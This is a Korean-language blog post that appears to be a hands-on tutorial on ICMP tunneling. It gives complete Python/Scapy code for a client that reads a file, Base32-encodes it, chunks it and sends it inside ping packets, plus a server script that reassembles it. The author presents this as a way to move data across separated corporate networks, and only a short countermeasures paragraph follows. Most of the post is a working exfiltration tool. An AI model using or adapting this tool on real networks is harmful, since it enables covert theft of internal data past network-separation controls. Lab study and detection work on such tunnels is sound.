Home ICMP Tunneling by Python with Scapy
Post
Cancel

ICMP Tunneling by Python with Scapy

ICMP Tunneling을 통해 내부망 간 데이터를 전송할 수 있습니다.
내부망 간 ping 명령어가 동작을 하게 될 경우 ICMP Tunneling을 이용하여 DATA를 전달할 수 있습니다.



What is ICMP?

ICMP에 대하여 간단하게 알아보면 인터넷 제어 메시지 프로토콜으로 일반적으로 IP 동작에서 진단이나 제어로 사용되거나 오류에 대한 응답으로 사용됩니다.

ICMP 구조

  • ICMP Type이 존재(Type 0 : Echo Reply, Type 8 : Echo Request등)
  • ICMP는 MTU가 1500Byte로 1500 Byte가 넘게되면 단편화가 발생함
  • ICMP의 Data 영역에 Data를 집어 넣어 보낼 수 있음

ICMP 구조


Network 구성도

네트워크 지식이 부족하여….. 대충 만든 네트워크 구성도 입니다. 일반적으로 회사에서 망(네트워크)이 다른 PC끼리 데이터를 주고 받기 위해서는 망연계 솔루션을 이용합니다. 망연계 솔루션을 통해 내부망의 중요자료가 함부로 인터넷망으로 전달 되지 않게 도와줍니다.
네트워크 구성도


ICMP 터널링을 통한 데이터 전송

사전 지식은 알았으니 실습을 해봅시다❗️❗️❗️ 실습하기에 앞서 집에서 망분리를 따로 하지 못해…. 동일 네트워크에 PC 2대로 진행했습니다.

PCIP설명
Client PC192.168.0.2데이터를 전달할 PC
Server PC192.168.0.5데이터를 전달받을 PC

Step 1. Client PC choose Data Files

먼저 클라이언트 PC에서 전달할 파일들을 선택합니다. .txt, .docx, .xlsx, .py 파일을 압축 시켜 하나의 zip 파일로 만들었고 zip 파일의 크기는 약 20KB 입니다. 아래의 사진은 zip 파일안에 있는 각각의 파일 입니다. Client ICMP

Step 2. Client PC send zip File

다음은 zip 파일을 Server PC로 ICMP를 이용해 전달 하는 것입니다. python과 scapy 모듈을 통해 제작했으며 제작 로직은 다음과 같습니다.

  1. 파일을 바이너리로 읽는다.
  2. Data를 인코딩을 한다 -> Base32로 인코딩 처리를 하였는데 인코딩을 하지 않으면 특정 패킷이 전송이 안됬습니다. 이유는 잘;;; OS단에서 차단하는 느낌 -> 인코딩 데이터가 1500 Byte가 넘지않도록 합니다. 1500Byte가 넘어가면 단편화가 일어나기 떄문입니다.
  3. ICMP 헤더에 Sequence를 추가합니다. -> 추후 Server에서 ICMP 메시지를 조립할 때 순서에 맞춰 조립해야 되기 때문입니다.
  4. ICMP Send Message

Client.py을 만들었고 만든 함수는 다음과 같습니다. 1. 파일을 바이너리로 읽는 함수(Read_File) 2. 인코딩 함수(B32_Encoding)(Read_File) 3. 1500Byte가 넘지않도록 데이터를 만드는 함수(Send_Data) 4. 데이터를 보내는 함수(Send_Ping) 함수

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#/usr/bin/python
import argparse
import os 
import time
import base64
from scapy.all import *

def DashBoard(url,file):
    screenDashboard = '''
    =====================================================
    ICMP SEND DATA
    =====================================================

    [-] Target IP : {0}
    [-] Load File : {1}
    '''.format(url,file)
    print(screenDashboard)


class colors:
    BLACK = '\033[30m'
    RED = '\033[31m'
    GREEN = '\033[32m'
    YELLOW = '\033[33m'
    BLUE = '\033[34m'
    MAGENTA = '\033[35m'
    CYAN = '\033[36m'
    WHITE = '\033[37m'
    UNDERLINE = '\033[4m'
    RESET = '\033[0m'
        
        
class icmp_data_exfiltration(object):
    def __init__(self,target_host,send_file):
        self.target_host = target_host
        self.send_file = send_file
    
    def Read_File(self):
        with open(self.send_file,'rb') as f:
            Binary_DATA = f.read()
            return Binary_DATA
    
    def B32_Encoding(self,data):
        B32_DATA = base64.b32encode(data)
        return B32_DATA
    
    def Send_Data(self):
        Binary_DATA = self.Read_File()
        for i in range(0,int(len(Binary_DATA)/900)+1):
            print(colors.YELLOW+"[*] Send Ping to {0}".format(self.target_host+colors.RESET))
            SDATA= self.B32_Encoding(Binary_DATA[900*i:900*(i+1)])
            self.Send_Ping(SDATA,i)
        
    def Send_Ping(self,Send_DATA,Seq):
        ping = IP(src="192.168.0.5", dst=self.target_host, proto="icmp")/ICMP(seq=Seq)/(Send_DATA)
        send(ping)
            


if __name__ == "__main__":	        
    parser = argparse.ArgumentParser(description='Send IP, Send File')
    parser.add_argument('--dst-ip',required=True, help="destination IP")
    parser.add_argument('--file', required=True, help="Load File")
    args = parser.parse_args()
    
    DashBoard(args.dst_ip,args.file)
    ICMP_TEST = icmp_data_exfiltration(target_host=args.dst_ip,send_file=args.file)
    ICMP_TEST.Send_Data()
    print(colors.RED+"[*] Send Complete"+colors.RESET)
    
    # 사용방법 python3 scapy_client.py --dst-ip [타켓 IP] --file [전송 파일]

Step 3. Data Recieved Server PC

Server PC에서 Wireshark를 켜놓아서 패킷을 보고 있으면 ICMP 패킷이 잘 온것을 확인할 수 있습니다. 약20KB 데이터가 24개로 나누어져 온것을 확인할 수 있습니다. Wireshark Packet

Step 4. Data Combination Server PC

Wireshark의 기능중 하나인 JSON 파일로 저장하는 기능을 이용하여 JSON 파일로 저장합니다. 그 뒤 JSON 파일을 가공하여 원래의 zip파일로 만들 수 있습니다.

로직은 다음과 같습니다.

  1. 저장한 JSON 파일을 읽어 모든 Sequnce가 잘 도착했는지 확인한다.
  2. 만약 Loss Packet이 발생하면 Loss Packet Seq만 다시 보낸다 -> 이 부분은 자동화에 실패하여…. 따로 Loss Packet을 보내주는 코드를 만들었습니다.
  3. 데이터는 바이너리 -> 알맞은 크기로 자르기 -> 인코딩 -> Seq 순으로 만들어져서 보내졌기 때문에 이를 역으로 하는 코드를 만들었습니다.

server.py을 만들었고 만든 함수는 다음과 같습니다. 1. JSON 파일을 읽어 Seq를 확인 및 필요한 데이터만을 가져오는 함수(MergeData) 2. 복호화 함수(Decryption_DATA)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import json
import argparse
import base64

class icmp_data_recevied(object):
    def __init__(self,input_file,output_file):
        self.input_file = input_file
        self.output_file = output_file

    def MergeData(self):
        encrypteddata =''
        Data_file = self.input_file
        with open(Data_file,encoding='UTF-8') as json_file:
            json_data = json.load(json_file)
            len_data = len(json_data)
            for i in range(0,len_data):
                sequence = json_data[i]["_source"]["layers"]["icmp"]["icmp.seq"]
                if(sequence == str(i)):
                    encrypteddata += json_data[i]["_source"]["layers"]["icmp"]["data"]["data.data"]
                elif(sequence != str(i)):
                    for j in range(0, len_data):
                        if(sequence == json_data[j]["_source"]["layers"]["icmp"]["icmp.seq"]):
                            encrypteddata += json_data[j]["_source"]["layers"]["icmp"]["data"]["data.data"]
                        else:
                            print("[*] " + str(i) +" Packet is not recevied!!!")
                            break
            return encrypteddata
        
    def Decryption_DATA(self):
        encrypteddata = self.MergeData()
        encrypteddata = encrypteddata.replace(":","")
        encrypteddata = bytes.fromhex(encrypteddata)
        print(len(encrypteddata))
        encrypteddata = base64.b32decode(encrypteddata)
        print(len(encrypteddata))
        
        
        file = open(args.output, 'wb')
        file.write(encrypteddata)
        file.close()

        print("[*] Successfully saved decrypted file!")





if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Send IP, Send File')
    parser.add_argument('--input',required=True, help="Input File")
    parser.add_argument('--output', required=True, help="Output File")
    args = parser.parse_args()
    
    ICMP_RECIEVE = icmp_data_recevied(args.input,args.output)
    ICMP_RECIEVE.Decryption_DATA()
    
    
    #사용 예시 python3 scapy_server.py --input [json] --output [file]

Step 5. Result

서버 PC에서 잘 합쳐서 복호화된 모습입니다. Server ICMP


보안 대책

ping을 차단하는 방법이 제일 좋은 방법입니다. 또한 ping을 보내면 32byte를 보내게 되는데 이보다 매우 큰 data가 전송될 경우 + 많은 icmp가 요청되는 경우를 모니터링 및 차단 하는 방법이 있습니다.


후기

Server PC에서 자동으로 ICMP 패킷을 합쳐주는 스크립트를 만들려고 했지만… 여러가지 변수가 있어 만들지를 못했다. LOSS 발생 패킷과 SEQ 대로 합쳐야 하는데 도통 생각이 안난다….. 좋은 생각이 있으면 댓글 부탁드립니다🙏🙏🙏🙏🙏🙏